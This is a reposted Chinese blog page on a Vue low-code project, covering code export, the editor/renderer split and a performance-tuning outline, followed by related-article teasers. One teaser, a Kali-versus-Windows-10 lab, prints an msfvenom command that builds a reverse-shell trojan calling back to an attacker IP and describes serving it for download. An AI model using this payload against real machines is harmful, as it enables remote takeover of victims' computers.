Vue进阶之Vue项目实战(四)

news2024/10/7 20:37:11

Vue项目实战

  • 出码功能
    • 知识介绍
  • 渲染器
  • 性能调优
    • 使用 vue devtools 进行分析
    • 使用“渲染”进行分析
    • 判断打包构建的产物是否符合预期
      • 安装插件
      • 使用位置
      • 使用
      • 过程
    • 使用lighthouse分析页面加载情况
    • 使用performance分析页面加载情况
  • 应用自动化部署与发布CI/CD
    • 常见的CI/CD服务

出码功能

出码->1、直接序列化JSON 2、直接出代码code
出包->不需要将代码进行输出,只需要在对应的编辑器中间,编排引擎中间将对应的逻辑编排出来生成页面,点击发布就能一键将所有编排内容发布到公网上面进行访问。

知识介绍

  1. 编辑器 -> 管理端
    发布上线 ->应用端
  2. 但是一般很多公司产品的管理端和应用端结合,进行高度复用。
    这是因为,在管理端进行拖拽的时候,是比较消耗性能的,要更好的考虑性能,所以很多产品都会用 canvas,用画布的形式画、绘制 对齐的网格线,或者编排过程中的辅助线;但是在渲染过程中,在应用端是没有任何的辅助线和网格线,所以一般将管理端和应用端分开考虑。管理端和应用端中间的联系一般是组件的复用,但是在页面中,编排引擎,渲染器方面,他们俩不是高度复用

国外非常厉害的低代码平台:illa
对标产品:retool

在这里插入图片描述
将无代码往深入了做,就会涉及到低代码,低代码中需要做运行沙箱,运行式环境(微前端中具备)【qiankun】

渲染器

  1. 渲染器 - 管理端(做编排)和应用端两端内容做抽象,管理端点击“部署”后,就到了应用端。
  2. 管理端 - 编排引擎;应用端 - 渲染器
  • router
    • layout
      • 管理端的渲染 PageLayoutView
        • 左中右模型
          • AppLeftPanel
          • AppEditorRenderer
            • LaptopPreviewer - 预览器
            • MobilePreviewer

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1710655.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

AI赋能数字人:打造与语音节奏完美匹配的高质量手势动画

在数字化时代,人机交互正以前所未有的速度进化,而AI数字人的发展正是这一进程中的重要里程碑。近期,一项旨在根据语音内容自动生成匹配手势的技术方案引起了广泛关注,该技术不仅增强了数字人的表现力,也为远程沟通、教育、娱乐等多个领域带来了革新性的应用潜力。本文将深…

【ArcGIS For JS】前端geojson渲染行政区划图层并加标签

原理 通过DataV工具 生成行政区的geojson(得到各区的面元素数据), 随后使用手动绘制featureLayer与Label,并加载到地图。 //vue3加载geojson数据public/geojson/pt.json,在MapView渲染上加载geojson数据 type是"MultiPolygon"fetc…

Web渗透-MySql-Sql注入:联合查询注入

SQL注入(SQL Injection)是一种网络攻击技术,攻击者通过将恶意的SQL代码插入到应用程序的输入字段,从而欺骗应用程序执行未经授权的操作。这种攻击方式可以导致严重的安全问题,包括: 数据泄露:攻…

【MATLAB源码-第216期】基于matlab的北方苍鹰优化算法(NGO)机器人栅格路径规划,输出做短路径图和适应度曲线。

操作环境: MATLAB 2022a 1、算法描述 北方苍鹰优化算法(Northern Goshawk Optimization,简称NGO)是一种新兴的智能优化算法,灵感来源于北方苍鹰的捕猎行为。北方苍鹰是一种敏捷且高效的猛禽,广泛分布于北…

qrcode和qrcodejs2生成二维码+刷新

1、使用qrcode生产二维码&#xff0c;封装组件 创建Qrcode.vue文件 <template><divclass"QRCode":style"{ width: width, height: height }"><canvas:id"canvasId"ref"canvas":style"{ width: width, height: …

上海冠珠旗舰总店盛装开业暨冠珠瓷砖中国美学设计巡回圆满举办

上海&#xff0c;这座融合了东西方文化的国际化大都市&#xff0c;不仅是中国的时尚中心&#xff0c;也是全球潮流的汇聚地。在这里&#xff0c;古典与现代交织&#xff0c;传统与前卫并存&#xff0c;为传统色彩与现代设计的融合提供了得天独厚的条件。 5月25日&#xff0c;上…

分频器对相位噪声影响

本文我们将分析输入时钟被N分频之后的输出时钟的相位噪声如何变化。首先理想分频器的意思是我们假设分频器不会引入附加相位噪声&#xff0c;并且输入和输出时钟之间没有延时。我们假设每一个输出边沿的位置都完美的与输入边沿相对齐&#xff0c;这样便于分析。由于每N个输入时…

简单3步,ERP、OA、CRM等客户端,安全远程访问服务端

如今&#xff0c;企业员工出差远程办公和分支机构的协同工作变得越来越普遍。然而&#xff0c;如何确保在不同地点的员工都能安全、便捷地访问公司内网的C/S&#xff08;Client/Server&#xff09;架构办公系统&#xff0c;是一个亟待解决的问题。 贝锐花生壳内网穿透服务提供…

Elasticsearch8.13.4版本的Docker启动关闭HTTPS

博主环境是&#xff1a; 开发环境&#xff1a;SpringbootElasticSearch客户端对应的starter 2.6.3版本 maven配置 <!-- ElasticSearch --><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-elas…

二叉树习题精讲-相同的树

相同的树 100. 相同的树 - 力扣&#xff08;LeetCode&#xff09;https://leetcode.cn/problems/same-tree/description/ /*** Definition for a binary tree node.* struct TreeNode {* int val;* struct TreeNode *left;* struct TreeNode *right;* };*/ bool i…

MFC 发起 HTTP Post 请求 发送MES消息

文章目录 获取Token将获取的Token写入JSON文件 将测试参数发送到http首先将测试参数写入到TestData.JSON文件rapidjson 库需要将CString 进行类型转换才能使用&#xff0c;将CString 转换为const char* 发送JSON 参数到http中&#xff0c;并且获取返回结果写入TestFinish.JSON文…

msfconsole攻击win10及简陋版

kali 攻击机IP 192.168.1.19 win10 肉鸡 192.168.1.15 使用 msfvenom 生成木马 msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.1.19 lport1234 -f exe >muma.exe 接下来把木马复制到 /var/www/html下 开启 service apache2 start 即可下载&#xff0c;需要做…

效率工作:一键为多种资产添加统一材质(小插件)

1.需求分析&#xff1a; 当导入一批资产&#xff0c;或者有同一批结构体需要添加相同材质时&#xff0c;单独为每个模型都添加材质费时费力&#xff0c;有没有什么办法&#xff0c;能同时为多个资产添加材质。 2.操作实现 1.在网上找到了一款插件&#xff0c;经过验证&#xf…

【数据结构与算法 经典例题】返回单链表的倒数第 k 个节点

&#x1f493; 博客主页&#xff1a;倔强的石头的CSDN主页 &#x1f4dd;Gitee主页&#xff1a;倔强的石头的gitee主页 ⏩ 文章专栏&#xff1a;数据结构与算法刷题系列&#xff08;C语言&#xff09; 期待您的关注 目录 一、问题描述 二、解题思路 方法一:计数器方式 方法…

计算机毕业设计hadoop+spark+hive物流大数据分析平台 物流预测系统 物流信息爬虫 物流大数据 机器学习 深度学习

流程&#xff1a; 1.Python爬虫采集物流数据等存入mysql和.csv文件&#xff1b; 2.使用pandasnumpy或者MapReduce对上面的数据集进行数据清洗生成最终上传到hdfs&#xff1b; 3.使用hive数据仓库完成建库建表导入.csv数据集&#xff1b; 4.使用hive之hive_sql进行离线计算&…

(四十八)第 7 章 图(图的数组(邻接矩阵)存储)

1. 背景说明 2. 示例代码 1) errorRecord.h // 记录错误宏定义头文件#ifndef ERROR_RECORD_H #define ERROR_RECORD_H#include <stdio.h> #include <string.h> #include <stdint.h>// 从文件路径中提取文件名 #define FILE_NAME(X) strrchr(X, \\) ? strrch…

Android项目实战 —— 手把手教你实现一款本地音乐播放器Dora Music

今天带大家实现一款基于Dora SDK的Android本地音乐播放器app&#xff0c;本项目也作为Dora SDK的实践项目或使用教程。使用到开源库有[https://github.com/dora4/dora] 、[https://github.com/dora4/dcache-android] 等。先声明一点&#xff0c;本项目主要作为框架的使用教程&a…

深入探究Java自动拆箱与装箱的实现原理

哈喽&#xff0c;各位小伙伴们&#xff0c;你们好呀&#xff0c;我是喵手。运营社区&#xff1a;C站/掘金/腾讯云&#xff1b;欢迎大家常来逛逛 今天我要给大家分享一些自己日常学习到的一些知识点&#xff0c;并以文字的形式跟大家一起交流&#xff0c;互相学习&#xff0c;一…

浙江大学数据结构MOOC-课后习题-第九讲-排序2 Insert or Merge

题目汇总 浙江大学数据结构MOOC-课后习题-拼题A-代码分享-2024 题目描述 测试点 思路分析 刚开始我打算想推出一个规律&#xff0c;来判断是否是归并排序&#xff0c;但实在太过于复杂&#xff0c;我很难去想出这样的规律…因此&#xff0c;参考了其他博主的思路——每做一次排…

AI菜鸟向前飞 — LangChain系列之十五 - Agent系列:从现象看机制(中篇)一个Agent的“旅行”

Agent基本架构 先谈谈Agent基本架构概念&#xff0c;如果看得云里雾里&#xff0c;等看完本篇之后&#xff0c;再回头看就会豁然开朗的&#xff0c;而我尽量写得更易懂&#xff1a; &#xff09; 这里面会穿插着上一篇的内容&#xff0c;请大家记得往回翻翻&#xff0c;传送门&…